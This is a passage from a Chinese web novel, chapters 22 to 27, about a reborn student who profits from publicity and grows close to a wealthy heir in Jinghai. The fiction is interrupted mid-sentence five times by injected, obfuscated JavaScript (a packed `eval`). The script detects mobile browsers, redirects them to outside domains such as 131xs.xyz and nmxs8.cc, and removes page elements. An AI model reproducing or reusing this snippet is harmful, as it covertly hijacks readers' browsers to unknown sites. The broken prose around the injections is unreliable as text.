因为如今这种鲜花着锦、烈火烹油的瓜田盛况,本来就是翁绍极力推动的。在这种情况下,他以奇货自居,想要待价而沽的谋算势必会得到各大品牌方的谅解。 谈判的主动权自然也在不知不觉间转移到了翁绍这边。 于是在裴氏集团首席律师团的帮助下,翁绍在上节目前,挑挑拣拣,与几家品质上乘、口碑也好的服装鞋帽、零食、饮料和电子品牌达成了合作。几条推广下来,翁绍又赚了上百万的宣传费。 一夜之间就脱贫致富,迈入小康阶段。 翁绍这边过得风生水起,盛怒之下安排翁英雄去录制《在线调解》的翁英杰却后知后觉地发现,自己好像又被翁绍给耍了——他出钱出力让翁英雄去录制节目,原本是想借助翁英雄的控诉,让全国人民看清楚翁绍这个无情无义的白眼狼。 可是现在看来,他能不能达到目的暂且不说,翁绍却很好地利用了这次宣传的机会,给自己增添了赚钱的筹码。 自己费心费力,反倒是给翁绍做了嫁衣。 想通这一点,翁英杰简直都要气笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15393878|167352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。笑完之后,翁英杰也只能像一个输红了眼的赌徒一样暗自发狠——他绝对不会放过翁绍,他要让翁绍身败名裂! * “阿嚏!” 翁绍从书包里拿出一把折叠雨伞。 盛夏的天气就像是小孩子的脸一样善变,早起出门时还晴空万里,转眼就大雨倾盆。 翁绍撑着伞,从疾风骤雨中推开临湖雅苑销售处的大门。 时间还早,售楼大厅里没什么客人,只有西装革履的销售顾问三三两两聚在一处,等着开早会。 瞧见翁绍顶风冒雨地进来,大家笑着跟翁绍打招呼:“状元郎来啦!” 有人关切地问道:“我听说你的养父要起诉你弃养他,这是真的吗?” 这个听说,自然是听八卦小报的记者,还有网上的营销号说的。 大家好奇地看向翁绍。 说起这位新同事,可真是一位行走在风口浪尖上的风云人物。网上有关他、还有他们家的新闻那叫一个层出不穷。这片瓜还没吃饱呢,下片瓜就紧赶慢赶的来了。各种反转剧情跌宕起伏,比每晚八点档播出的豪门狗血剧还要精彩,也不知道养活了多少媒体和营销号。 反正他们这些人都十分钦佩裴总的高瞻远瞩。有这么一位同事兼业主坐镇售楼处,他们临湖雅苑的热度和名气,都比其他楼盘高一截。 注意到同事们不断高涨的吃瓜热情,翁绍淡然一笑:“我也不是很清楚。” “那你——” “行了!上班时间,别聊八卦。”西装革履的售楼处经理打断员工的问长问短,扭头问翁绍:“证件都带齐了吗?” 翁绍点点头。他今天来售楼处,就是为了办理过户手续的。顺便给自己请个假——他明天就要去京海市电视台录制节目了。 23.第 23 章 翁绍把准备好的材料交给售楼处经理。 西装革履的经理接过资料,一脸艳羡地看着翁绍:“这人还是要多读书啊!” 就拿翁绍来说吧,刚来售楼处的时候,他还是个节衣缩食、穷困潦倒、没地方住只能赖在裴氏地产员工宿舍的小可怜,连读大学的学费都要裴氏集团资助。结果一个高考下来,人家不仅赚到了几百万的奖学金和广告费,还白得了临湖雅苑一套房。轻轻松松迈入中产阶级。 “这个咱们可比不了,”正在补妆的售楼小姐笑嘻嘻道:“人家可是省高考状元,放眼全国也没几个。这要是放在古代,那可是文曲星下凡。” “所以这钱就合该叫人家小翁赚,咱们眼红都眼红不起。” “反正我这辈子是没这个能耐了。等我结婚生小孩儿的,看看能不能把下一代培养出来。” “要是真能培养出来一个省高考状元,那真是家里祖坟都冒青烟了。” “所以说呢,还是咱们余大姐有福气。” 正在大厅角落里拖地的余蕙心闻言笑笑,脸上洋溢着心满意足的幸福。 还有人一脸好奇地跟翁绍打听:“你亲爸亲妈知道你的高考成绩以后,就没联系过你?他们真就不后悔?” 老实讲,他们这些吃瓜群众是真的不太理解翁氏集团那位董事长到底在想什么。要是他们家里有这么出息的孩子,他们就算是砸锅卖铁,也要把人供出来。翁家那么有钱,就算从手指缝里头漏出一点点,都够翁绍从大学读到博士毕业了。为什么翁董事长非但不肯出钱供翁绍读书,还屡次破坏翁绍出人头地的机会? 这种行为跟瞧见自家祖坟冒青烟,兜头泼一盆水浇灭了有什么区别? 别说一干吃瓜群众不理解,就连翁绍自己都百思不得其解。 不过他上辈子已经被这点破事折磨了大半辈子,这辈子也懒得再想翁英杰一家到底在发什么神经。 反正兵来将挡水来土掩,翁英杰敢冲他下手,他就敢打断翁家所有人的手。 一想到翁家那些狗屁倒灶的人和事,翁绍如沐春风的一张脸也不由自主地冷淡下来。 最擅长察言观色的销售顾问们心照不宣地看了一眼对方,正打算岔开话题,一阵清脆的手机铃声忽然响起—— 销售顾问们下意识检查自己的手机,生怕是客户来电,就见翁绍一边接听电话,一边往角落里走。 电话是出版社的王主编打来的:“……样书已经出来了,你在哪儿,我现在给你送过去。” 翁绍明天就要去京海市电视台录制节目了。作为第一次录制节目的新人,翁绍打算给节目组的工作人员每人准备一份礼物,而没有哪份礼物比翁绍自己写的《状元笔记》更有纪念意义了。 毕竟翁绍现在还只是一名没上大学的高中毕业生,准备太贵重的礼物也不合适。最重要的是,他录制节目的初衷就是为自己正名,为翁家添堵。所以,一套经过了实践检验的,能让市一中无数高三考生提升成绩的《状元笔记》,就非常符合他乐于助人省高考状元的身份。 “我在临湖雅苑售楼处。”翁绍透过售楼大厅的落地玻璃窗,看了一眼外面。 不知何时雨已经停了。阴沉沉的乌云后面透出一缕阳光,将整座城市照耀的格外明媚。 翁绍的心情也渐渐好了起来。他跟王主编约好了中午在售楼处外面的一间咖啡厅见。 王主编给他准备了五十套《状元笔记》。 三百本装订精美,图文并茂的教辅书实在是过于沉重,因此王主编赴约的时候,还带了两名实习生帮忙搬东西。 “这么多套书,你一个人怎么往京海拿呀?”王主编皱眉说道:“要不我们还是给你邮寄过去吧。” 翁绍摇了摇头,从本市到京海,邮寄一天时间可到不了,他需要在参加节目的时候,亲手把自己整理的《状元笔记》送到每一个人的手上! 这也是台本里早就定好的环节! “我会想办法的。”翁绍笑道:“放心吧,有人会帮我的。” * “你怎么知道我一定会帮你呢!”陆青杨一脸八卦地看着裴行则,好奇问道:“想让我帮你也行,你先告诉我,你跟那个翁绍到底是什么关系?” “合作伙伴。”裴行则坐在办公桌后面,施施然地喝了一口咖啡。他似乎想到了什么,忽然轻笑道:“狼狈为奸的合作伙伴。” 陆青杨一脸不信地战术性后仰:“呦呦呦呦!” “合作伙伴就合作伙伴!还狼狈为奸的合作伙伴!”陆青杨眯着眼睛打量笑得十分荡漾的裴行则,怎么瞅他都是一副不值钱的模样:“说说呗,你们两个到底是怎么狼狈为奸的?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15399658|167352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“你不是都看到了。”裴行则轻飘飘地瞥了陆青杨一眼:“行不行,给句准话。” “行!当然行!您裴大少爷的吩咐,谁敢说不行?”陆青杨一边啧啧摇头,一边给助理打电话:“……统计一下集团内部家里孩子上高中的员工人数,每人发一套翁绍写的《状元笔记》,就当是公司给员工发的福利!” 电话另一端,陆青杨的助理满头雾水的“啊”了一声,不确定地确认道:“《状元笔记》,是高中教材辅导书吗?您要给员工发辅导书当福利?” 还只有孩子上高中的员工才有? “我确定。”陆青杨当着裴行则的面,下达了明确的指示:“去办吧,现在就去。” 挂断电话后,陆青杨鞠躬笑问:“请问裴总,您对我的服务还满意吗?” 裴行则极为敷衍地应了一声,又开始给通讯录上的其他人打电话。 陆青杨眼睁睁看着裴行则将朋友圈里的狐朋狗友们全都骚扰个遍,就为了让他们以各家公司的名义采购翁绍写的《状元笔记》,实在憋不住问道:“我说你们两个既然是狼狈为奸的合作伙伴,那你们只需要狼狈为奸的祸害翁家就好了,你现在背着人家做这些事情,是不是有点多余?” 裴行则拨电话的手停顿了一下,静静思考了一会儿道:“并不。” 裴行则抬眼看向摆明车马要看好戏的陆青杨,态度十分坚定地说道:“这是我对他的承诺,也是合作伙伴的诚意!” 陆青杨啧啧摇头:“我还真是看走眼了。” 当初还以为那个翁绍就是个被人利用的小可怜,没想到人家是姜太‘翁’钓鱼,愿者上钩。 ——裴行则就是那条主动咬钩的大鱼! “我还真有点想见见这个人了,”陆青杨笑嘻嘻地看着裴行则,隐晦地试探道:“你会介绍他给我们认识吗?” “他明天要来京海录制节目,”裴行则敲了敲手机,说道:“我问问他的意思……他今后也是要在京海读书创业的。” 陆青杨不忍直视地看着被钓成傻子而不自知的裴行则:送钱送房都无所谓,可不嫌费事的挨个通知他们采购翁绍写的书,现在还要介绍一个外人给他们认识,劳心劳力地帮人家铺路,还要先问问人家的意思…… 陆青杨在心底吹了声口哨,想要看好戏的心情已经饥渴难耐了。 24.第 24 章 飞机划破长空,缓缓降落在地面。 翁绍跟着熙熙攘攘的人群往外走,一眼就看到了鹤立鸡群的裴行则。裴大少爷鼻梁上架着一副墨镜,将英俊的五官遮挡了一大半,只露出一张似笑非笑的嘴唇和清晰的下颚线。 来来往往的旅客从他身边走过,视线忍不住在他的身上停留,而他却视若无睹,藏在墨镜后面的眼睛漫不经心地看着通道出口,于是他也一眼就看到了人群中的翁绍。 “你没说你会来接我。”翁绍走到裴行则面前,心情看起来很不错。 裴行则摘下墨镜,笑着回答:“我以为我们应该有默契。” 他怎么会不来接机呢?这可是翁绍第一次来京海。 孟助理站在一旁,主动开口:“翁同学,你和老板先上车吧。我去办理托运的行李。” 翁绍这才注意到站在裴行则身侧的孟浩安。 细心周到的孟助理非常体贴的去取行李,将空间让给小别重逢的两个人。 裴行则似乎想到了什么,他看着孟助理的背影,笑容促狭地感慨道:“不知道为什么,周围的光线好像突然暗淡了一些。” 尽职尽责又体贴周到的孟助理显然不知道,尽管他已经知情识趣地离开了,他的存在仍然被老板视为电灯泡。 翁绍显然听懂了裴行则的揶揄,但他只是眉眼弯弯地看着裴行则,没有半点接话的意思。 在交错的视线中,某种心照不宣的暧昧从两人笑意盈盈的眼角眉梢氤氲而出。簇簇火苗便从黑沉沉的瞳孔深处点燃,在静默无声的虚空中噼里啪啦的擦起火星子。 然后,不知道是谁先挪开了视线,虚空中的火星子终于烧完了,只留一缕青烟袅袅,将翁绍原本锋利的眉眼晕染上几分缱绻的温柔。 裴行则轻咳一声,主动接过翁绍的书包,指尖碰撞的瞬间,只听“啪”的一声—— 被静电打得发麻的翁绍手指蜷曲,温声道歉:“抱歉,我穿的衣服有静电。” “是吗?”裴行则轻笑一声,在翁绍眼前晃了晃自己的手:“吓死我了,我还以为是我们两个来电了。” 裴行则本以为翁绍还会像之前那样不置一词,却没想到翁绍忽然开口:“我们不是一直都挺来电的嘛。” 说到这里,翁绍忽然停顿了一下,他用笑意盈盈的目光一寸寸地,仔细勾勒着裴行则的轮廓。裴行则只觉得自己引以为傲的颇厚面皮忽然开始麻麻的,痒痒的,好像被人用指尖轻轻地抚摸了一遍。 从眉到眼,从鼻到唇。带着一种看似漫不经心,实则游刃有余的挑逗。 在周遭嘈杂熙攘兵荒马乱的相逢与别离中,裴行则恍惚听到翁绍用他那一向波澜不惊的声音,漫不经心地说完了另外半句话:“……我一见如故的,老板。” 裴行则的喉结不争气地滚动了一下。那一瞬间,他很确信,他的心跳漏了一拍。 * 黑色劳斯莱斯幻影在高速公路上飞速疾驰。 大脑空白了不知道有多久的裴大总裁终于回过神来,他将出窍的灵魂从飘飘忽忽的天上拽回身体里,郑重其事地开口:“我的朋友们知道你来京海,他们想请你吃饭。” 翁绍正在用裴行则的笔记本电脑登录博客和论坛。 高考刚结束那会儿,翁绍利用闲暇时间,将之前造谣抹黑他的新闻媒体和网络营销号全部起诉个遍。 当时网络一片哗然,翁绍便趁热打铁,在各大社交平台都实名注册了两个账号。一个是学习账号,用来分享学习心得,为将来出版宣传《状元笔记》做准备;另外一个则是房产分析账号—— 翁绍利用前世的经验和这辈子搜集到的资料,精心制作了省内的楼盘红黑榜。从开发商、物业、升值空间、楼盘周边配套设施,以及公共环境等种种角度分析每个楼盘的优势和劣势。 着重点出很多开发商在五证不全甚至是资金链不稳的情况下违规售卖期房套现的陷阱,顺理成章地帮助陈老师避雷了上辈子买到的烂尾楼。 翁绍做这些事情的时候,其实并没有想过在短时间内,让自己经营的账号一夜爆红。他只不过是习惯了自媒体时代,所有人都会尽量把产出内容产品化——也就是俗称的把同一份时间售出多次。 翁绍设立账号之初,想的是反正自己做都做了,与其将整理好的资料放在抽屉里吃灰,不如发到网上去造福大众。一边为自己积聚名气和流量,一边为后世烂大街的知识付费做铺垫。 翁绍虽无意做什么意见领袖,但他的声音如果能够影响更多人,将来算计翁氏集团时,就能多一分筹码。 因此翁绍本打算从长计议,稳扎稳打,但他还是低估了二十年后的网络营销手段,对二十年前尚处于开荒阶段的网络环境的降维式打击。 翁绍的热度从翁绥在网上收买营销号散步谣言那一刻就开始不断走高,随着翁绍几次三番的拉扯和反转,这种持续走高的流量获得了全网吃瓜群众的长久关注,而这种长久的,习惯性的关注度和讨论度在翁绍获得了省高考状元的那一刻,达到了井喷状态。也让翁绍提前许多年,就吃到了流量变现的红利。 目前他与几大品牌合作的方式,就是利用自己的博客和论坛ID发布品牌的推广,每条推广的价格在十万到三十万元不等。 其实比起这种推广方式,很多品牌商更加看重翁绍本人的形象和潜力。他们想跟翁绍签的是代言人合同。不过翁绍显然比他们更懂什么是待价而沽。他并不认为区区几十上百万的代言费,值得他出卖自己的肖像权。 对于一个野心勃勃,想要颠覆一个上市集团,甚至想要创建自己的商业帝国的重生者来说,这个世界上显然没有什么东西能比他自己更值钱。 之所以跟这些品牌合作推广,除了想要快速积攒第一桶金,翁绍也想通过这样的合作方式,验证自己的实力。 事实证明翁绍做到了。他让越来越多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15411674|167352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 关注互联网的人意识到了新的商机,察觉到了让人一夜爆红的套路和手段。 但即便如此,很多品牌方依然不认为翁绍的肖像权能够超过一百万——在这个年代,即便是国内一线巨星,代言费一年最高也不过是几百万。翁绍的自视甚高让很多人觉得他并没有谈判的诚意。 只有一家休闲服饰品牌愿意跟翁绍继续谈下去,他们甚至愿意给翁绍开出一百五十万的代言费,条件是翁绍在录制京海电视台《对话人生》节目时,必须穿他们品牌提供的衣服。 翁绍十分欣赏品牌方的眼光,但他还是拒绝了这次合作。 录制《对话人生》是翁绍塑造自身形象,颠覆翁氏集团的重要一环。他可不想为了一些无足轻重的细节,破坏自己原本的计划。 后世娱乐圈有一个专业的词叫立人设,人设鲜明的人很容易获得他人的关注和认可。 翁绍给自己立下的人设就是惨遭欺压的少年天才,所以这次录制《对话人生》,翁绍身上穿的依然还是那套洗得发白的市一中校服。 当然即便是莫欺少年穷的天才,坐了一上午的飞机也是会饿会累的。于是在听到裴行则说话的瞬间,翁绍不动声色地合上笔记本电脑:“去哪儿吃,吃什么?” * 一个小时后,黑色劳斯莱斯幻影缓缓停在一座江南园林似的仿古建筑前。 裴行则带着翁绍走进去,一路小桥流水、芳草萋萋,古色古香的长廊亭榭蜿蜒在水面上,水里种着荷花,盛夏时节开得茂盛。碧绿的荷叶下面时不时游过几条胖胖的锦鲤,窜出水面去咬荷花的花瓣。 裴行则扭头笑问:“你想喂鱼吗?” 翁绍:“我想吃鱼。” 裴行则笑得更开心了。两人顺着长廊穿过一道镂空花墙,来到了一处竹林掩映的雅间。 陆青杨和其他几个狐朋狗友已经提前到了。十来个人坐在包厢里,正叽叽喳喳地吐槽。 裴行则是在征得翁绍同意后,临时攒的局。好些人为了见翁绍一面,索性就推了原本的约会。 ——之前裴行则跟精神病发作似的发动朋友圈的狐朋狗友们,以公司名义采购《状元笔记》,于是他的交际圈里,都知道了裴大少身边出现了这么一号人物。 大家都很好奇,能让裴大少一盆火似的主动结识,甚至拉下脸面主动为他铺路的人,究竟会是一个什么样的人物。 他们也在网上看过翁绍的采访视频,大略都有个印象。知道这是一个巧舌如簧,头脑聪明的年轻人,当然也有一副好皮囊。 可是二十年前的摄像技术,又怎么可能会完完整整的勾勒出一个人。只有当他们亲眼见到翁绍,他们才会真真切切地感受到这个年轻人身上与众不同,或者说是与这个时代格格不入的磁场。 原本嘈杂的包厢忽然安静下来,所有人目光灼灼地盯着翁绍。 就在这一刻,他们明白了裴行则为什么会变得那么疯狂。 25.第 25 章 很少会有人在看到翁绍的时候,注意到他长什么样子。 就像是一个独自行走在野外的人,迎面碰上一只悠闲散步的花豹。他绝对不会在第一时间欣赏对方华丽的皮毛和优雅的身姿,只会担心这只花豹会不会突然暴起吃了他。 在许多人眼中,翁绍这个人甚至比一只正处于饥饿状态的花豹更加可怕。 吃过亏的人只会觉得他心黑手狠、面目可憎。没吃过亏的人看到翁绍的第一反应,也是胆战心惊。所有人都惧怕翁绍,生怕这个上一秒还言笑晏晏的疯子,下一秒就毫无预兆地发动攻击,将面前的猎物撕碎。 没有人敢直视捕猎者的眼睛,只有当他们自认为身处于绝对安全的环境,他们才会有心情欣赏捕食者华丽的外表。 ——这是二十年后,处于食物链低端的人对于大权在握、积威甚重的翁绍的评价。 时光倒退二十年,当上位猎食者的灵魂在更加青春华丽的皮囊中苏醒。可想而知,这种迎面撞来的视觉冲击力对于亲眼目睹过翁绍的人而言,会是多么大的震撼。 所有人一时失语,眼睛眨都不眨地盯着翁绍。 这种静默状态一直持续到裴行则点完了菜,诧异地看向他们:“你们怎么都不说话了?” 向来张扬跋扈的富二代们你瞅瞅我,我看看你,最后扭扭捏捏、支支吾吾地说道:“也没什么,这不是等着你给我们介绍呢嘛!” 裴行则心知肚明,却还是给翁绍一一介绍道:“这是陆青杨,我发小。这是翁绍,我的……” 裴行则思考了一下,缓慢而慎重地说道:“朋友。”不知为何,“朋友”这两个字从他的嘴里说出来,莫名带着几分缱绻。 众人顿时暗骂裴行则骚包。什么朋友,你分明想说的就不是这两个字! 陆青杨轻咳一声,一本正经地起身说道:“翁绍同学,幸会幸会。也不知道裴大少有没有在你面前提起过我。” 翁绍眉眼温润地笑了笑。盛夏时节,阳光明媚。翁绍的一双桃花眼被金灿灿的阳光染成淡淡的琥珀色。眼波流转间,似乎流动着一层潋滟的光。 陆青杨几乎看呆了。恍惚间只看到翁绍的嘴巴一张一合,他说了什么是一点都没听清楚。 只记得翁绍的手很粗糙,掌心虎口处布满了大大小小的老茧,触感温凉。 这让陆青杨坐下时不由自主地握了握手指,心说这人体温这么低,该不会是气血两虚吧。 于是陆青杨的思维就不由自主地发散起来。他记得他们家老爷子时常看的一名老中医,是不是应该介绍翁绍去看看? 想着想着,陆青杨的眼神就不由自主地黏在翁绍的脸上。他注意到翁绍的脸色很白,白得晃眼,白得让人心慌。他的唇色也很淡。 窗外有微风拂过,阳光洒在摇摇晃晃的树叶上,碧色光影像波光潋滟的湖水一样摇曳。翁绍苍白的脸被这浮光掠影晃动的,更像是沉入水底的艳鬼。只等时机一到,他便要拖一只替死鬼,坠入那不断荡漾的湖。 如果被拽入湖中当替死鬼的那个人是他的话,陆青杨默默想,他一定会心甘情愿的死。 等到陆青杨回过神时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15416223|167352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,裴行则已经把包厢里坐着的十二名狐朋狗友都给翁绍介绍了一遍。就连之前点的菜都上齐了。 裴行则坐在翁绍的身边,正殷勤地给他夹鱼肉挑刺。翁绍也坐在裴行则的身边,就那么态度淡淡地看着裴行则挑刺。一边等着吃鱼肉,一边小口小口的喝汤。 汤也是裴行则给他盛的。翁绍手边还摆着一碗热气腾腾的米饭,上面放着几粒晶莹剔透的虾仁,也是裴行则刚刚剥的。 陆青杨看着看着就觉得好笑。 明明是裴行则临时攒的饭局,可翁绍却好像真是过来吃饭的。 陆青杨的目光又在饭桌上扫视了一圈。发现其他几个人也跟他一样,颇有些心不在焉的意思。但为了配合裴行则和翁绍,他们也都拿着筷子时不时的夹几口菜。 翁绍安静喝完了半碗汤,裴行则的鱼肉也挑好了。 “鲥鱼多刺,但味道不错,你尝尝。”裴行则说着说着,又叹了一口气:“其实这个时候吃鲥鱼,已经有点晚了。等到明年四五月份,我们可以去江南吃鱼。” 翁绍点点头。他吃饭的时候其实不爱说话,可参加饭局又必须要觥筹交错,妙语连珠。能把饭局吃成吃饭的,前世今生两辈子,翁绍也只见过裴行则这么一个人。 世人皆知裴家大少向来离经叛道、放诞不羁,他有足够的脾气,也有足够的底气把一切约定俗成的规矩踩在脚底。 而今裴行则愿意把他的特权与翁绍分享。 不论是彰显财富与势力,还是别有用心,翁绍都欣然受之。 他受得起。 26.第 26 章 饭后,一群富二代们又嚷嚷着继续下一轮。 他们兴致勃勃地讨论接下来是去唱歌、骑马、打高尔夫,又或者是去爬山——反正今天天气不错,出海夜钓也行。 裴行则察言观色,看到翁绍淡然的脸上似乎显露出一丝疲惫,遂低声问道:“要不要我送你回酒店?” 陆青杨一直在偷偷关注裴行则和翁绍的互动。听到这句话,他不假思索地提议道:“要不我们去泡温泉吧。北郊不是新开了一家温泉酒店吗?” 裴行则皱了皱眉,刚见面就泡温泉,他担心翁绍会不适应。 然而没等裴行则开口,翁绍已经自行婉拒了:“时候不早了,我想回酒店。” 他解释道:“明天要去电视台录制节目。我想提前思考一下该怎么说。” 陆青杨刚要说话,就被裴行则抢先了。 只见裴大总裁一脸关切地问道:“要我通知公关部的人,帮你写稿子吗?” 翁绍稳稳当当地喝下最后一口茶,神色淡然道:“不必。” 裴行则想想也是。翁绍又不是寻常的高中毕业生,以他炉火纯青的公关手段,稍微出手就已经让翁家损失惨重。又怎么会被一个有台本的访谈节目为难? 如果连翁绍都觉得没有把握,恐怕换一百个人来写稿子,也不会比他自己做得更好。他无端说要请枪手替翁绍写稿子,只怕翁绍还会觉得自己看轻了他。 想到这里,裴行则低声赔笑道:“是我不好,关心则乱。” 说罢,他似乎真的有点关心则乱的,给自己倒了一杯残茶:“我以茶代酒,向你道歉。” 翁绍冷眼看着裴行则用自己刚刚喝过的茶杯倒茶敬茶赔礼道歉。一连串动作一气呵成,仰头喝茶的动作也堪称豪迈。就是…… 翁绍皱了皱眉:“冷茶伤胃。” 裴行则又笑了:“这么关心我,那就是不生我的气了?” 翁绍心说他压根儿也没生气。他甚至不懂裴行则为什么要当着那么多人的面儿,伏低做小到这种程度。在座的可都是他裴大少的狐朋狗友,他在熟人面前给他一个外人斟茶赔罪,还是为了这么一点小事,难道就不觉得丢脸? 翁绍低垂眉眼,想不通裴行则这番操作的理由。难道是为了明天的采访,所以先哄着他心甘情愿去当一把枪? ——可这不是早就说好的事儿吗?裴行则总不会是担心他事到临头,突然反悔吧? 他翁绍难道会是那种优柔寡断、在意亲情的蠢货? 裴行则看着翁绍霜雪似的眉眼忽然冷淡下来,心底没来由一沉。 他心下暗道不好,生怕自己急于在朋友面前宣示主权的举措失了分寸,真把翁绍惹生气了,连忙说道:“我送你回酒店好不好?” 翁绍的情绪都还没来得及酝酿出来,就被裴行则眼中的恳求冲没了。 “我没生气。”翁绍下意识开口,犹豫了一下,想说什么又没说,只是道:“我们走吧。” 陆青杨冷眼看着说着说着就把他给忘了的两个人,表情一言难尽。围观的富二代们也都一脸牙酸地看着裴行则。 ——说他不值钱,他还喘上了。 就这么一顿饭的工夫,又是“朋友”,又是“关心则乱”的,还以茶代酒赔礼道歉!他们都不惜的说,他那是赔礼道歉吗?他就是想喝那口茶! 还绞尽脑汁的找借口,差点把脑浆干没了吧! 活该! 富二代们挤眉弄眼、面面相觑,暗搓搓吐槽。 他们赴的只是一顿普通的饭局,应该不是什么乱七八糟的定情宴吧? 猝不及防被怼狗粮的富二代们幸灾乐祸,裴行则却懒得理会这群狐朋狗友了!尽管这顿饭局是他临时攒的,可他这位东道主却把见色忘友这个词诠释的淋漓尽致:“我们有事先走了,你们继续下一轮吧。去哪儿都行,记我账上。” 裴行则挥挥手,功成身退。 看着两人相偕离去的背影,包厢里的笑声渐渐停了。 半晌,有人忽然开口:“裴大少是认真的?” 没人接话。 尽管在来之前,他们就知道裴大少看上了一个人,但是没人放在心上。毕竟翁绍只不过是一个没家世、没背景的穷学生,幸运得到了裴行则的青睐,有幸给他当枪使而已。 他们未必瞧得上一个穷人,但是一个聪明伶俐有手段,还得了裴大少青眼的穷人,他们乐得给予几分尊重。至少要看在裴行则的面子上,犯不着得罪他。 甚至还有人暗搓搓等着,只等裴行则腻了,他们总有机会…… 可现在看来,那好像不是他们能动的人! *

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15426779|167352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 黑色劳斯莱斯幻影被下班高峰期的车流堵得水泄不通。 翁绍和裴行则并肩坐在后排的真皮座椅上,窗外斑斓的霓虹灯影时不时在翁绍苍白如雪的脸颊上一晃而过。裴行则不动声色地打量着没什么表情的翁绍,在心底暗暗揣摩他的想法。 “去你家吧。”翁绍忽然开口。 “……什么?”裴行则一时没反应过来,愣了一下才开口。 翁绍耐心重复道:“裴总之前不是说,想让我住在你家吗?” 裴行则一颗心直接悬到了嗓子眼儿,脑袋里都要放烟花了,嘴上却迟迟疑疑地开口道:“可是你之前不是说要住酒店?” 翁绍第一次来京海录制节目,裴行则第一反应就是想让翁绍住到他家。 翁绍当时就以“住在酒店更方便后续公关”为由,拒绝了裴行则的邀请。 翁绍的本意是想尽量剥离这次访谈与裴行则的关系——尽管所有人都知道,这次采访就是裴行则从中穿线安排的。但知道归知道,并不妨碍翁绍打着贫困天才的幌子,倒逼翁家和翁氏集团。 可是现在,翁绍忽然改变主意了。 跟翁绍合作了一段时间,裴行则也算了解翁绍的行事作风。知道他这人向来说一不二。嘴上说得再委婉好听,那都是哄人的。真到做事的时候,每一个步骤都得听他安排。 这还是裴行则第一次见到翁绍自己改了主意。虽然不知道翁绍为什么会改主意,裴行则还是难掩愉悦地让司机更换目的地。 翁绍突然改变主意的动机其实很简单,没有那么多阴谋论,他就是单纯想哄裴行则开心。 事实上,尽管翁绍对京海一行早有安排。可从下飞机那一刻,从他听到裴行则说他的朋友想请他吃饭,而他毫不犹豫答应下来那一刻,他的计划早就偏航了。 他连只有会员才可以出入的私人会所都进了,又何必在意晚上住哪儿? 所以之前在饭店,陆青杨邀请他们去泡温泉,他说要回酒店想台本,并不是托词,而是他真的需要换一套话术应对明天的采访。现在也只不过是换得更彻底一点而已。 就这么草率地毁掉了自己熬了几天几夜撰写的公关稿,看上去好像是挺没原则的,可是翁绍的心底却没有丝毫波动。 他在裴行则面前,本来就是没原则的。 27.第 27 章 傍山别墅是京海市近些年开发的高端住宅。因坐拥山景资源,植被丰富,视野开阔,空气清新,成为京海市新兴富豪们的第一选择。 不过这里也不是有钱就能住得起的地方。为了维护小区的静谧和隐私,傍山别墅一向谢绝明星住户。还投放了大量的安保人员,确保小区内外不会有闲杂人等乱入。 从翁绍下飞机就一直跟在他身后的八卦狗仔们,望着小区大门唉声叹气。他们拍不到更劲爆的内容了,不过之前拍摄的照片也足够他们交差。 翁绍站在别墅二楼的花园阳台上,居高临下地看着盘山道上恋栈不去的面包车。 “放心吧。”裴行则走到他身后:“不管他们拍到了什么,我保证他们什么都发不出去。” “为什么发不出去?”翁绍没有回头,视线一直追随着缓慢下山的面包车,漫不经心地道:“人家那么辛苦拍了素材,你总要让他们有用武之地。” 